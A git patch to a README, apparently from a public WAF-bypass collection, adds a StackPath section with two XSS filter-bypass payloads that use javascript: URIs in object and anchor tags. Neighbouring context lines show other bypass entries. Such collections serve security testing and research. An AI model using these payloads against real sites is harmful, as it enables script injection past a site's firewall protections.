From 7bc0487bf001676d94ca40e289343e21d1835c28 Mon Sep 17 00:00:00 2001
From: Pinaki Mondal <theinfecteddrake@gmail.com>
Date: Wed, 26 Aug 2020 20:58:00 +0530
Subject: [PATCH] Added some stackpath bypasses

---
 README.md | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/README.md b/README.md
index 1486582..81af9b5 100644
--- a/README.md
+++ b/README.md
@@ -3734,6 +3734,13 @@ data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
 <input type=submit></form>
 ```
 
+### StackPath
+- [XSS Bypass](https://twitter.com/0xInfection/status/1298642820664823808) by [@0xInfection](https://twitter.com/0xInfection)
+```
+<object/data=javascript:alert()>
+<a/href="javascript%0A%0D:alert()>clickme
+```
+
 ### URLScan
 - [Directory Traversal](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L557) by [@ZeQ3uL](http://www.exploit-db.com/author/?a=1275) (<= v3.1) (Only on ASP.NET)
 ```